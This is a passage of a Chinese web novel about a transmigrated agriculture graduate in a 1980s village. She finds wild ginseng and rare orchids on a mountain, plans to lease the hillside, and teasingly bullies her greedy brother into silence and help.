说来，王国安这个人硬气的名声是传遍十里八乡的，年轻的时候去县城帮人家跑长途客车，现在年纪大了就回乡养老。这个时候跑车都是危险活计，说不定遇上劫道的小命就完了，因此练了一身的腱子肉，五十岁了也神采奕奕的，跟沈强那个窝囊劲儿完全不一样。
“哥，你别着急，我们不敢了，这不是不嫁了。”
沈强在桌子下面踢了踢王芸，示意她开口，他是在是不敢跟自己这个大舅哥说话，忒吓人了。他可是听说，以前有人说他们家没有孩子就断了跟，被王国安把猪圈都砸了！
“谁说我不嫁，我要嫁。”
沈如算是看出来了，沈家这三人都是欺软怕硬的，耳根子还软，今天变了主意，指不定哪天就又变了，给自己添堵。
”昭，唉，小如啊，”陈秀上前握着沈如的手，赶忙说道，
“人生大事可不敢胡闹啊，你别怕，今天我们来接你去咱们家过。你不想嫁人咱就不嫁。”
沈如感受到手心里温暖的触感，一时有些无言，两辈子了她都没有感受过家人的温暖，没想到原身的舅舅舅妈是个好人。
“没事的，舅舅，舅妈，”沈如看着他们，缓缓地开口，
“我想好了，隔壁的段野是个好人，勤奋踏实，有责任心，人也高大清秀，我答应跟他结婚了。等半个月后你们来参加我的婚礼。”
这怎么又冒出个段野，王国安和陈秀都有点懵圈，这时沈卫开了口，“就是隔壁那小子，不知道使了什么迷魂汤，把姐勾走了，不嫁都不行。”
沈卫知道他舅舅一家手里有钱，但是不知道怎么的，一向只对沈昭昭有好脸色，对自己不假辞色的，他怎么讨好都没用。
“那，”陈秀和王国安对视一眼，王国安也走到沈如身边，“既然小如想嫁，那就嫁吧，你爸妈不给钱，我们给你准备嫁妆，你过去了要好好过日子，可不敢再轻易寻死啊，”
王国安想起来自己的闺女，一时悲从中来，两行热泪就流淌下来。
“小如儿，你这舅舅还是个性情中人。”秦双有些咋舌，不过估计是有些隐情，她也没有开口调侃。
“舅舅，谢谢你们，我会好好的。”沈如走过去抱了抱这个壮硕的男人。
送走舅舅舅妈，沈如准备回屋。
突然她听到了一声狗叫，似是突然想起来什么，看向了沈卫。
9. 帮你减肥
沈如相信，在这年头如果她之前说自己要养狗，一定会挨骂，人都吃不饱还给狗吃，但是有些人还是吃的太饱了。
沈卫感觉自己被盯上了，好像也不是，顺着沈如的视线看过去，低头，是我的碗？
“弟弟啊，”沈如边笑着边向饭桌走去。
沈卫一阵哆嗦，打了个冷战，自从跳河以后，她可从来没交过自己弟弟了，
“干，干嘛你要。”
“小如儿，我好像猜到你要干嘛了。”
“我也没毛病，你看沈卫不是太胖了吗，我们帮帮他。尽到一个姐姐的职责。”
“弟弟啊，你知道你为什么娶不到老婆吗？”
“妈你看他，还给我浇冷水！”
“昭昭”
“闭嘴！”沈如冲着他们说了声，
“我呢，一直以来对你关心不够，说起来你结不了婚我也有点责任。”
沈卫听到这里眼睛瞪大，难以想象这个黑心肠的家伙居然良心发现了。
“姐，你是不是要帮我了？”
“是啊，姐姐帮你。”
沈卫笑得眉飞色舞，王芸和沈强面面相觑不敢说话。
下一秒。
“我的饭啊，我还没有吃饱啊！”屋子里传来沈卫的哀嚎。
大黄和小黑小白也跟着嚎了起来，这是什么狗，叫的真难听。
“大黄，小黑小白，我来给你们送饭啦。”
沈如虽然决定和段野他们成为一家人，但是自己带回来的狗还是不好让对方养，拿着沈卫还剩下一半的饭碗，倒在了今天给狗狗准备的盆里。
“吃吧吃吧小宝贝儿。”沈如看着三只小狗一脸姨母笑，狗党的胜利啊！
“小黑小白围在大黄身边，冲他叫，小黑还身处爪子扒拉一下食盆，
“汪！”大黄像是明白小狗崽的好意，低下头吃了几口，就不再动了。
“多么父慈子孝的画面啊，当选狗界十大感动狗娃。”
“不好意思，大黄是妈妈，母慈子孝。”
段吾端着给狗狗准备的食盆走了过来，沈如本来就想悄悄地喂，别打扰到对方静养。
“沈姐姐，你也在，我给小狗准备了一点粟米，我问过牛爷爷了，这个他们能吃。哇，你们喂的是米饭欸。”
“当然啦，你沈卫哥哥的狗粮我给拿过来了。”
“狗粮？”段吾不解，
“口误口误，我是说口粮。”沈如尴尬的笑了笑，不能带坏小孩子。
“嘿嘿，知道啦，我会好好喂它们几个的，姐姐你不用担心，虽然家里存量不多，但是去年秋天收的粟米还有半仓库呢。”
“没事，你沈卫哥在减肥，他自愿的。”
段吾感觉自己刚刚听到了一声哀嚎，很像沈卫的声音，不过他很聪明的没有说出来，哥哥跟他说啦，以后沈姐姐就是他的嫂子，他们就是一家人。
“嗯嗯，都听姐姐你的，肯定没问题。”
沈如这个身体的底子不太好，除了最近给段野熬药就没有再怎么出门，在家修养了几天。
沈家父母早早起床去地里，播种的季节到了，农民吃的就是这碗饭，可不敢偷懒。隔壁的段吾天刚亮就搬了个小凳子在外面看书，段野身体也已经大好，人参熬上了，眼看着气色就好多了，称得上面色红润有光泽。
“小霜儿，咱们上山。”沈如自觉休养了几天，现在精神焕发，迫不及待的就要去视察一下她计划包的山和地。
“好嘞，往北边走，上次看热闹的时候，那边看着有一条山路。”
“对了，走之前咱去看看一号和二号伤员。”沈如转个方向，走到隔壁，推开门，院子里晒着稻谷，黄灿灿的铺满了一地。
“1号段野我知道，2号是哪个？”秦双好奇的打量着四周，她跟沈如的状态不一样，不饿不痛不累，不过不代表她不馋，院子里正飘着一股淡淡的清香味道。
“2号你也认识啊”，沈如把视线给到大黄，叫道：“大黄”。
“汪”，大黄尾巴摇的厉害，它的腿伤也好的差不多了。
“原来是大黄啊，看来咱家家庭成员还挺丰富。唔，你闻到没，好香啊，有一股淡淡的清香味，还有板栗和红薯的甜味。”
“沈姐姐，你来啦！”段吾从厨房里跑了出来，后面跟着小黑小白两只小尾巴，这三小只看到沈如都很开心。
“小花猫，来看看你们，你哥哥呢？”沈如看着段吾脸上的烟，轻轻给他擦掉，
段野前两天就开始感觉状态明显好转，再也没有发过烧，腿上的伤口也已经结痂了，躺了很久，他是个闲不住的人，下床准备给小五做个饭，也不好天天叫牛支书送饭。
正说着就看见段野从屋子里出来，“你来的正好，我刚做好饭，快来尝一尝。”
“快点快点，”秦双感觉自己要被馋哭了，最近吃王芸做的饭都很一般，这个年代没什么调味料，食物都做的比较简单。
段野把院子里的桌子和凳子摆好，擦干净，就慢慢走进厨房，沈如看他还是有些不便利，想上前帮忙，被段野按住。
“你等着就好，你帮了我这么多，我也想为你做点什么。”
你们尝尝，这是我们家的独家秘方，妈妈教我做的，紫薯板栗杂粮饼。”段野献宝似的端上来一碟子饼，可能是放了红薯，颜色有点红，圆圆的一个看着确实很可口。
“帅哥，那我就不客气了。”秦双被放出来就迫不及待拿起一个，放进嘴里。
“有点烫，”秦双被烫的厉害，但是舍不得吐掉嘴里的食物，太香了。红薯的香甜板栗的香味，口感软软糯糯的，又因为掺了杂粮，所以又比普通的饼更有嚼劲。
沈如本来想叫她注意一下自己的形象，可看她吃的那么开心又很高兴，让这大馋丫头吃吧。
段野做了两盘，秦双一个人吃了一盘，段野和小五共吃了一盘。
小五手里捏着最后一个饼，看着沈如，长大了嘴巴
“怎么了，小鬼，我吃的很难看吗？”秦双问他，
段吾把脑袋咬的
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像拨浪鼓，“姐姐吃的很香！”
只是段野感觉有些怪异，他总觉得偶尔沈如会有些不像沈如。
“吃饱了，谢谢招待，你们好好休息，我要去一趟山上，明天再来看你们。”沈如起身准备往北面走。
“你要上山，那你等我一起。”段野听到这话赶紧起身，他们这座山上植物居多，但是偶尔也会有一些野生动物，比如蛇，上次他的野猪虽然难得一见，但是有时候他们会随机出现。
“我陪你去，”段野赶紧拿起一个像是长矛的工具背在身上就准备跟他一起上山。
“你的腿还好吗？”沈如有点担心，
“没问题！”段野露出洁白的牙齿笑了起来。
“小子，还挺帅的，做饭也不错，姑且算你是个好男人。”秦双就像一个活体弹幕，沈如已经开始自动忽略了。
“那，走吧，有你陪着我也放心。”沈如点头示意他出门，就听见后面哒哒声，
“汪！”
“大黄，你也要去吗”，沈如回头看了看，
“汪汪！”
“好嘞，咱们上山看看”。
“嗯！小五，你在家收拾一下，中午如果我们不回来，你就把昨天的粥热一下，我会尽快回来的。”
“哥哥，放心吧！保证完成任务。”段吾站的笔直回应着，，一脸严肃的敬了个军礼。倒是给沈如吃了一惊。
“小五想当兵吗？”
“是啊，以前在县里看到一次军人，穿着军装觉得可酷了，人家敬礼他也学会了。”
“我跟你说，进山找我还真是找对人了，我从小到大都是在山上混过去的，以前除了去学校读书，剩下的时间都是在山上。现在春天，正好是山上最丰茂的时候，还有山楂，到时候给你摘下来。”段野面对着沈如后退着走，这条路他熟的闭着眼睛都能走。
“山上一般有什么作物啊？我以前只会在自己家的田里忙，很少上山，不是很了解。”
“现在是春天，山上的东西还挺多的，会有一些蘑菇，山楂，果子，以前还看到一个野桃树，不过很酸，因为地势高，所以植物都是野生的。”
“那动物呢？”
“一般是野鸡、兔子、蛇，偶尔会有大型野猪，不过一般人不敢抓，我们小望村，只有我跟我爸学过抓野猪的陷阱。”
段野对于这个技能还是很自豪的，悄悄挺直了胸脯。
悄悄看了眼沈如，又开口道：“基本每年春夏秋天我都会在山上设陷阱，抓一些回来，不过现在好像有了新的政策，不再允许抓野生动物，所以只能打打兔子什么的了。”
“那你的野猪？”沈如有些促狭地看着他，
“悄悄地，嘿嘿，这不是想攒点钱吗？小五下半年就要上小学了”。段野摸了摸鼻子有点不好意思。
“这样吗，我还以为你是攒钱来娶媳妇的”。
说完，惊觉自己口中的媳妇是自己，秦双的笑声已经传来，沈如有些脸热，赶忙往前走两步超过他，没看见后面段野的傻笑。
10. 上春山
他们一路聊着，往山上走去，山下有一些村民，在地里播种。
“呦，小野，你这么快就好了啊？”一个背着筐的大爷看到段野，跟他开玩笑道，
“是啊，刘叔，我这都好了。之前谢谢您送来的鸡蛋，等我上山摘点蘑菇给您送过去。”
刘旺摆摆手，“家里都有，好好养身体，伤筋动骨一百天，可得注意点。”
“好嘞，不耽误您插秧了。”段野跟他摆摆手，
刘怀看向旁边的沈如，没有开口问，他们小望村民风还算淳朴，他是知道这姑娘的事的，也不好说什么，就点了点头。
路上见了不少埋头干活的同村人，沈如跟着段野一路打着招呼，
“看来你人缘比我好多了，哈哈哈。”沈如打趣，率先走几步，她看到上边的树下有一小片笋尖。
“快来，”沈如招手赶紧让段野过来，
“咱们运气还挺好的，昨天下了场雨，今天笋就冒尖了，这一小片还挺多的，咱们摘一些回去，给小五做酸辣笋片。"
沈如低着头挖土，这边的泥土很干净，刚下过雨也很松软，并不累人。
段野见状也蹲下来，把背着的筐放下来，帮他挖。
沈如清了清手里的笋，“这笋真不错，很嫩，个头也很大。”
“是啊，村里人都还挺喜欢吃笋的，要不是今天巧了还真不一定碰得到，你运气真好。”段野看着她笑。
“咱们再挖几颗，剩下的估计这两天还有其他人来挖，咱们也吃不完，再上去看看。”
两个人在前面走着，原本一前一后的姿势也慢慢变成肩并肩。
大黄在两人身边跟着，它像是经常上山，一会东跑跑，一会停留一下，不过很快就能跟上。
沈如正被段野带着找山楂树，这年头的糖还算稀罕，村里的小孩想要吃颗糖不容易，山上的树莓、山楂熟透了也是很甜的，这是大家为数不多的零嘴。
段野小时候没少上山找，所以对山上的野果树如数家珍。
“对了，这边的雨水一般是什么情况？”
“雨水？”段野一时间没有反应过来，后就直接开口回答，
“这边是偏东北方，一般春夏降雨比较多，大概一个月有2-3次，秋冬相对来说就比较少，秋雨比较细密，我们都叫他送果雨，一般10月底下过几场秋雨这边也就入冬。”
“了解，我之前没太关注过，才问的你。”沈如一时不注意差点露馅儿，还好秦双提醒了她。
"你之前说的山楂树在哪儿，咱们过去。”沈如想把话题岔开，让自己看起来不像是来考察的，而是个土生土长的本地人。
“汪，汪，”远处传来狗叫声。
“是大黄，”沈如赶紧招呼段野过去看看是什么情况。
两人循着声音过去，发现大黄嘴里咬着一条蛇，不禁对视笑出声来。
沈如想到小黑小白圆滚滚的身形，拍了拍大黄的脑袋，“你这家伙打猎一把好手啊。”段野看着大黄嘴里明显没有活气的蛇，从框里掏出一个铁夹，将这条无毒的水蛇套进准备好的袋子里，塞进背篓。
沈如这才发现二人不知不觉来到了一处人迹罕至的山坡。
正准备离开，忽然，沈如的目光被一抹独特的植株吸引，她心跳加速，赶忙拉住段野。
段野顺着她指的方向看去，只见那里有一株小苗，茎干直立，约有二三十厘米高，通身呈淡黄色。
他面带疑惑，似乎是不为什么要看这个。
秦双的声音传来，“天呐，这是人参啊，山上的野生人参”，
“是啊，我们运气也太好了，没想到这山坡里面居然有这么个宝贝。”
沈如没有着急回答段野的疑惑，只是拉着他往那边走。
“还记得你吃的山参吗？这个，就是野生人参。”沈如眉飞色舞的给他介绍着。
段野的眼睛都瞪大了，一时间不知道作何反应，他没想到山上有如此珍贵的东西。
“太好了，”段野也为她
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高兴，觉得这是沈如之前善意被回报。
再看过去这个植物，就觉得他带着一种古朴的质感，仿佛在诉说着岁月的沉淀。
茎干上端顶着几朵小巧玲珑的红果，鲜艳欲滴，在翠绿的山林背景下显得格外夺目。叶片翠绿且呈掌状，叶片边缘的锯齿状纹路清晰可见，每一片都像是大自然精心雕琢的艺术品。
大黄在旁边甩着尾巴高兴的大叫，沈如拿出背筐里的小锄头，开始把旁边的泥土小心的凿开。
在她读过的作物典籍中有关于草药的部分，一边拨开泥土一边对着段野解释道：
“挖出一颗完整的人参其实最好是需要有把头的指引，还要有鹿骨做成的签子，人参的根须很长，并且盘根错节地跟树根扭曲在一起，所以一定要小心的抠挖，你帮我看看附近有没有苔藓，”，
沈如头也不抬的挖着人参，段野不知道怎么处理，只能一直点头听着，
“新鲜的人参最好是要用苔藓包好，你去附近看看，如果有白桦树也弄一点过来。”
段野听的入神，这会听到沈如的吩咐，赶忙点头去附近找，他记得这边是有一条小河从山上流下来，那边应该是有。
“好，我去找，大黄你跟紧了，不要乱跑。”他摸摸大黄的头，等对方“汪”的回应他才转头离开。
“小如儿，这株人设参恐怕有一百年了，得亏附近的村民不认识，这好事居然轮到咱们头上了。”秦双前世没少见过地里挖出来的草药，但是在这异世界看到自己熟悉的东西，有种跃跃欲试的兴奋。
“是啊，我刚刚看了附近的海拔、水土，这边山上有溪水从山顶流下来，还有肥沃的土地，而且北面还有一处峭壁，你觉不觉得很眼熟？”
沈如在山上捡蘑菇的时候就发现了，这边除了一些常见的林木，还有一些常见的草药，路边长着的桔梗花，白鲜地丁这些也都有。
“我想起来了，这里的地形确实是像！”秦双想起来上辈子自己去实习的时候就是去到了东北！
11. 发现人参
“对，东北那个最大的中药材养殖基地，人参鹿茸、红松子、灵芝、西洋参、猴头菇，你还记得当时你老师觉得自己血管有点硬化阻塞，让我们给他带灵芝孢子粉泡澡，我们俩也去泡，结果跑的热血沸腾，出去跑了五公里才好转。”
“哈哈哈哈哈，对，这么大个山，如果能种上药草，那我们岂不是发了！”
“是的，秦总，’沈如打趣道，不过现在的山头都是国家资产，真要包下来段野那一千块钱恐怕不够，要想想办法攒个本金。”
“咱们可是三十年后的人，都说那会红海没有好机会，这个时代遍地是金子，要不咱们去倒买倒卖服装？不是说这会从广州进货，卖货到沪市能翻三倍的赚！”
“是这样没错，但是周期太久了，现在春分我们能播种的时间不到一个月了，按照我们目前的本钱去做小本买卖估计得花掉两个月时间。一旦错过播种，下一次就要等到明年了。”
“可恶，咱不是刚到手个人参，卖了怎么样？现在应该是个稀罕货。”秦双灵机一动。
“在包山之前不可以让人参的消息传出去，一旦有心之人知道，这座山就不再安全，你试想一下，如果附近一整个县城的人都来到这里挖人参，这里会变成什么样？”。
沈如之前也想过卖掉人参，一颗百年人参恐怕可以直接成为“万元户”，但是细想一下就知道不可行，如果明晃晃的拿出去恐怕山要被挖个底朝天，她倒不是惦记这山上的其他特产，但是她需要一个保持原来状态的土壤和植被，一旦生态环境被破坏就难以恢复。
“炒股怎么样？”
“你是不是偷偷看小说了，炒股要看时机，不是任何时间都可以入场，我记得是十年之后国内第一家证券交易所开业，到时候我们再去分一杯羹，如今要先给自己攒下第一桶金，我们首先要做的是一个月以内把本钱翻五番，不能节外生枝不能失了时机，也要保守人参的秘密，所以可能要冒点险了。”
沈如想起了一个八十年代的特色，说不定他们可以乘上东风赚到这第一桶金。
“是什么？”秦双说实话，她除了医学对其他的不是很了解，如果是他一个人穿越过来或许最大的可能性就是重操旧业当中医，还好有沈如在。
“兰花！”
我们现在要确认两件事情，一件是山上是否有适合的野生兰花，一方面是时机，等回去需要摆脱牛书记给我们带一份报纸，如果我没记错，两年之后兰花就会成为长春的市花，而如今，一盆兰花的价格也已经飙升，只是还没有拓展到全国。这个消息目前还不为人知，我们可能要借着这个东风了。
“好耶！那就是兰花，还好不是三十年后，我记得兰花那会都是国家二级保护植物了，我师爷就有一盆，当个宝贝一样养着。”
“没错。至于这个人参，暂时保存起来，日后我们的药材基地也可以以此为广告打出名堂来。”
沈如以前学农学的时候难免了解到国内外的相关历史纪录，当时她正在学习兰科相关的养殖，看到这段历史还很惊讶，只是一株兰花甚至被卖出千万的价格，曾经贵州有一盆兰花拍到1.2亿元的天价，在那之后政府就采取手段控制炒作兰花的行为。
大概花了近一个小时，沈如终于把人参清理出来，根须完整，她看着这颗山参，大概有十五个分支，下面又延伸出无数只细小的参须，每一个参须都是一笔收入，真是太幸运了。
秦双听着沈如的碎碎念也乐了，这无处掩藏的财迷属性。
沈如忙活完才想起来段野还没有回来，忽又听见旁边有细细簌簌的树枝拨动声，旁边的大黄也警惕起来，两只尖耳朵竖起来，颇有种威风凛凛的感觉。
她将人参放在地上用布盖上，拿起工具就往那边走去，似乎是察觉到沈如已经发现了。
“站住”，沈如将手里的工具甩出去，就听见一声吃痛，
“救命，救命。”一个男生大叫起来。
“沈卫？你怎么会在这”，沈如见到是他那个胖弟弟，最近因为饭被非给大黄一家一家肉眼可见销售了很多，但还是圆润，这会就是一个圆滚滚的胖子在连滚带爬的跑，一只手还捂着自己半边脸。
大黄见过他，但是这会见他鬼鬼祟祟，一个飞扑过去就把他按倒在地，回头冲沈如叫。
“干得好，”沈如夸赞。
那里刚刚被沈如的铲子砸出了血。
“姐，姐，我肯定不出去乱说，我肯定不说你自言自语，也不说你挖到人参了，求你不要打我。”
沈卫本来是闲着没事，看他姐和隔壁那便宜姐夫上山就跟上来看看，万一有什么把柄被他发现就可以拿来要一点钱，他可是知道段野前段时间打了野猪才受伤的。没想到偷鸡不成蚀把米，还没来得及拿人参威胁就被发现了，还挨了打。
“姐，你饶了我，我真的不会出去乱说，我知道你上次自杀后精神就出了问题，你放心我肯定不会跟姐夫说，”沈卫这会竹筒倒豆子的想办法让沈如放过他，上次打的眼窝还疼呢呜呜呜。
“这么说，你刚刚什么都看到了？”沈如没想到会是这家伙，最近可没有什么交集，除了把他的饭拿走。
“没，没，没有”我什么也没有看见”,沈卫觉得对方的表情像是话本里的鬼，太吓人了。
“这么说来，确实都看到了，你说我把你丢水里，然后跟你爸妈说你为情所困，投河自尽了他们会信吗？”
沈卫听着他的话情绪终于顶不住了，她姐可是自己的命都不在乎的呜呜呜，终于放声大哭出来，就听见旁边传来的一声，
“闭嘴”
沈如听着那仿佛杀猪般的声音变得低沉，终于开始冷静下来跟秦双商量对策。
“小如，你准备怎么处理他，你这弟弟可不算个好人，不过我知道你刚刚也就是吓吓他。”秦双自然是知道沈如这一出只是先吓住对方，她现在重获新生
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可不想因为这点小事就陪他再上路。
“至少这段时间要把他的嘴巴封住，先打一个巴掌，他要真敢说出口我可是不会手软的，不过我这段时间看他就是个没脑子的家伙，一门心思就是娶个老婆回来，我给他钓一根胡萝卜。
“也是，这么胖的体型，不干活可惜了。”秦双明白她的打算了，双手支持。
“段野好像回来了，听见他脚步声了”这会把人参放一边，理智也回笼了。
段野跑到了山顶，那边有一颗白桦树，泉水也是最上游，苔藓他用网兜兜了一袋子回来。
似乎是没有看他在地上哭，段野把手上的东西也给他看看，要是不能用他还要上山找的。
“我看看”沈如接过东西，发现这苔藓比后世见过的更加青翠，白桦树皮也足够了。
“可以用，辛苦你了。”
“那就好，你弟这是怎么了？”段野这才把话题转到旁边一直低声呜呜哭泣的沈卫，他是知道这姐弟俩关系一般的，沈卫就是个典型的二世祖，这年头把自己吃的肥胖可不是什么简单的事。
“他刚刚跟着我们上山，被我发现了，你说，”沈如盯着他看了看，“我们该怎么处理他？”
“是你弟弟，听你的。”段野没明白这是怎么回事，毕竟他还不知道沈如要包山的打算，只是这回听不明白，只能尽量配合对方。
沈如满意的挑了一下眉毛，又开口道：”我也不瞒你们，我有计划包下这片山头，不过资金还需要准备一段时间。所以，“沈如顿了顿。
沈卫正专心听她说话，虽然他还不明白为什么要说这些。
段野听到这已经明白她的意图了，于是直接配合她。
“那这段时间有些消息是不能流出去，你弟是要好好想想怎么处理。”段野煞有其事的说道。
“不要啊，我是你弟，处理什么处理，呜呜呜我再也不敢偷偷跟着你们了。”
“你觉得是因为你跟着我们？难道不是你存心想找到把柄威胁我给你掏彩礼？”
“你怎么知道，我还没有开口呢”沈卫很吃惊，说出口才觉得自己又犯蠢了，自己还没有开口威胁就被打了，现在还被狗虎视眈眈的盯着，他害怕。
“我当然知道，我还知道如果我放你下山，说不定你就把你刚刚看到的事情说了出去，打乱我的计划，所以我还是把你投河了吧。”沈如说着冲段野眨了眨眼睛，示意他。
“我来”段野差点笑出声来，走几步准备过来抗走沈卫。
“不要啊，姐姐，姐夫，我真的不敢了，我保证我要是把这事说出去我就淹死撑死被雷劈死，我真的不敢说，不要这样对我啊，我还没有娶媳妇呢。”
沈卫爬过来抱着沈如的腿不放，哭的上气不接下气。
“其实，你是我弟，我也不想这么对你的。可是”
“没有可是，我，我给你保证，”突然像是想到什么，他立刻开口。
12. 第一桶金，开始筹备！
“我有钱，虽然不怎么多，但是你不是缺钱吗，我把我的给你，”
“你有多少”沈如来了兴趣，
“一百”沈卫给自己攒的彩礼钱，别看他吃的胖，不干正事，但是他可不是隔壁王胡那种二流子，也不乱花钱，他觉得自己只是懒。
“就这？”沈如示意段野继续，
“还有，还有，我，我”沈卫快把脑子转出火星子了，又想起了刚刚沈如他们的话，
“我知道哪里有兰花！”
“哦？”沈如听到这有点兴趣了，
“展开说说。”
“好，前几年我上山挖菌子的时候，走到一个山崖边，准备歇歇脚，毕竟平时没走那么多路，那天都捡了半筐了。”
“说正题”
“好好，我那天在崖边休息的时候发现边上长了一颗兰花，长得可漂亮了，本来是想摘走的，但是我一看那悬崖边上，太危险了，就没有，但是那株花确实长得很好，你们相信我。”
沈如倒是不觉得他在说瞎话，思考了一下，
“那你现在带我们去。”
“好，我们现在就去。”
段野跟在沈卫旁边，防止他偷偷跑掉，不过他回来的晚，这会还不知道兰花有什么用。
不过相处一段时间，他发现自己已经很能看出对方的情绪，比如现在，沈如虽然面上不限，但是步伐明显加快，嘴角也时不时翘起，是开心的样子。
既然她要做，自己就陪着，段野一直不知道可能为沈如做些什么，不过越了解她就越信任她，索性什么都不问了，直接跟着走！
沈卫带着他们走过一个上山的小路，越走越崎岖，这条路连段野平时上山都不会来，因为尽头是一个悬崖，他觉得自己知道对方说的是哪里了。
沈卫很想叫他们两个走慢点，自己累的气喘吁吁，旁边的段野就算了，平时没少上山，可沈如怎么也比自己走得快啊，他心里升起了一丝自我怀疑，又咬咬牙赶紧走快点，别等会又挨打。
“到了，到了，你们往这边来，”沈卫带着二人往悬崖边上走，在距离一米的地方停下来。
“就是在这里，你们从这颗大树往东走到头，正下方就是那株兰花，我上次也是误打误撞发现的，本来是想哪天自己来摘了，听说有钱人家都喜欢养这些花啊草的。”
沈如示意段野把沈卫捆起来，别捣乱或者是趁机跑了。
段野从背筐中掏出绳子，这是他平时用来捆猎物的，正好用来捆沈卫。
沈卫看着段野拿着绳子过来，那绳上面还有血迹，脚下一软，等段野过来的时候，他就自己把绳子绕在身上，自觉的很。
“你倒是自觉”段野觉得这家伙简直是活宝，
“嘿嘿，姐夫，你跟我姐真是绝配，一个负责杀一个就负责放火，”沈卫想套近乎。
”少胡说八道，你姐才不会做违法的事，今天本来就是你的错。”
“对，我的错，都是我的错，快把我捆起来。”沈卫正好不想去悬崖，太危险了。
沈如正趴在地上看那株兰花，确实漂亮，而且不止一株，居然是两颗莲瓣兰！
“你快过来，”沈如招手让段野g过来看，
“这个，确实是两颗极品兰花！有了它别说包山直接搬去首都都可以，”沈如兴奋的压不住情绪，直接拍了拍段野，
“对了，刚刚你不在，我要兰花是想要去长春，那边的兰花市场非常火热，你觉得省城一套房子要多少钱？”
“三千？”段野猜测，其实他还没有去过省城。
“那这里就是至少六套房。”
“这两颗花值两万块钱？”段野吃惊，
“至少，所以我们现在要想个办法把它们摘下来带去长春。不过这里确实太陡峭了，你有没有什么办法。”沈如没有攀过岩壁，虽然这两株只是离他们2米，但是悬崖太过陡峭，实在是不好着力。
“如果今天不行我们回去再想想办法，不能为了它们连命都不要了。”她补充道。
段野之前也没有爬过山崖，要说唯一一个相关的经历，就是当时从山上滚下来，所以他心里对悬崖多少有一些阴影。但是他必须要摘到这两株兰花！因为这是沈如想要的。
他深吸一口气，说道
”我来试试。”
沈如吃惊，“你以前爬过悬崖？”
“对，爬过”,段野担心自己说实话沈如就不让他继续。
“真的？”
“真的。”段野一咬牙，走过去把沈卫身上的绳子松开。
沈卫老远看见两个人说话，但是也听不见说什么，一转眼就看两个人走了过来，解开绳子。
“我就说这太危险了，不过我们再想想办法。”沈卫担心两个人走了又要把自己丢水里。
“你体重多少？”
“一百八十斤”沈卫有点懵圈，不知道话题怎么跑到这里了。
“沈卫，接下来的话我只跟你说一遍，你仔细挺好，等会段野会在身上系上绳子去尝试摘花，我们俩在岸上拉着绳子，绳子的一头在段野身上，另一头在你身上，你必须使出全身的力气，一旦有问题，你就去陪葬。”
“好，好。”沈卫只觉得自己小命休矣，又比划了一些段野和自己的身形觉得说不定可以，他要使出吃奶的力气，必然不能噶在这里。
段野把绳子的一头绑在胖子那边，再把另一头绑在自己身上，沈如上前拉了了，仿佛想起来什么又回到自己的框里拿了一根绳子，
“我也带了一根，没想到用上了，你们俩过来。”
沈如把绳子分别系上，又把之前段野系的那个结看了看，又打了一道死结。
“等会慢慢来，一步步试，千万不要逞能，没这朵花我们还有其他的办法。知道吗？”
“好，我知道的。”段野冲她笑着点点头。
冲沈如担心的目光点点头转身，段野朝着崖边走去，看好了兰花位置，就一点一点往下爬。
沈如不敢说话，呼吸都要屏住了，拉着绳子，盯着段野。
段野左脚踩住一个突出的石头，右脚没找到什么支撑点只能轻点在崖壁上，沈如看到她右脚边有一个稍微突出的地方，忙示意段
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野，右脚往下三厘米，有一个着力点，
“好”，段野把脚试探的往下挪，果然撑住了，崖边有一些野生的树木，大概下了一米五的距离，段野觉得自己可以尝试摘花了，
“是不是要稍微清理一下，连根拔？”
“对，尽量连根，你别着急，我给你个工具，沈如看了看沈卫，他状态还好，绳子也没有问题，她赶忙去框里把铲子拿过来。
接过沈如递过来的拆字，段野轻轻的靠近兰花，右手开始清理边上的石头，努力凿的更深一点，然后拔出来，
“你看，我拿到了。”
“好样的，”沈如看着他把手里的一颗放进斜挎的小筐里，又嘱咐道，
“如果另一颗不好拔，我们就只要这一颗也可以。”
“没事，我再试一试。”
剩下这一刻更加大，根部也扎得更深，段野感觉自己凿到了石壁。
他握住左手的野树苗的力气更大一点了，使了一点力气把石壁一下子凿出一个小洞，
“看来是石头风化了，我这就把花拔出来。”
段野欣喜，把工具收起来，就伸手抓住了那颗最大的兰花，
“拿到了！”
“小心”
沈如眼看着他左手边那颗树苗被拔出来，整个人往后仰去，立刻收紧力气，叫道：
“沈卫，用力拉。”
“好”，沈卫怕被待下去，一直聚精会神的看着，这会立刻用力往远处拉过去。
“段野，我们马上拉你上来。”
“好”段野感觉自己的心也腾空了一下，不过比起上次掉下去，这次倒不是很担心，或许是因为有沈如在，他相信她。
沈如和沈卫拼了命的往上拉，好在段野这段时间刚刚恢复，还瘦了点，两人合力终于把段野拉到岸边，他稳住身形，扒着崖边爬了上来。
沈如看他爬上来，立刻冲过来，
“你没事吧，吓死我了。”沈如真的被他吓得心脏快跳出来，老天爷，要是再来一次她看肯定不会让他下去。
“我没事，你看，你的花儿！”段野看她一脸菜色，赶紧把花从筐里拿出来，
“你个大傻子，这么危险，我还以为你要掉下去了。”沈如跟段野相处了不久，但是这人真坦诚真心对她好，她都知道。
段野被沈如抱了个满怀，一时间有点无措，只能回抱住，轻轻拍他的背。
“没事，我没事，别担心，而且有你们在上面我一点也不害怕。”
段野感觉自己的背上有一点点凉意，想看看沈如是不是哭了，却被沈如提醒，
“别动，”沈如擦了擦眼泪。
“呜呜呜，这家伙太勇敢了，娶了他”，秦双的声音悠悠传来，沈如有些不好意思，赶紧擦干了眼泪，
“我就是被吓到了。”沈如嘴硬解释道。
段野拉着沈如站了起来，在他面前转了一圈，还拉着她的手在自己胳膊上摸了摸，说道，
“呜呜呜，这家伙太勇敢了，娶了他”，秦双的声音悠悠传来，沈如有些不好意思，赶紧擦干了眼泪。
13. 这是一只小鹿？
段野拉着沈如站了起来，在他面前转了一圈，还拉着她的手在自己胳膊上摸了摸，说道，
“别害怕，我皮糙的很。”说罢又笑起来。
沈如听他这么说，又气又恼，冲他脑门拍了一下。
沈卫看他们一会哭一会笑，这会看着段野摸着脑门笑，更心塞了，自己一整天挨打受累，现在还要吃狗粮，他也想要老婆！
没有继续在山上呆着，天已经有些黑了，三人一狗前后下了山，到了门口，沈如跟段野道别，只说道，明天见，好好休息。
段野跟他告别，就进去看到了小五坐在院子里，旁边围着小黑小白。
“哥，你回来啦？”段吾赶紧开始收拾桌子和凳子，从厨房里端出他今天熬得小米粥。跟哥哥相依为命的日子里，他已经学会好好照顾自己了。
“对不起，哥哥今天回来晚了。”段野有些愧疚，摸了摸弟弟的脑袋，
“嘿嘿，我今天过的很开心，有小黑小白陪着我，我看了书然后还出门跑了一圈”说完发觉自己说漏嘴了，赶忙找补：
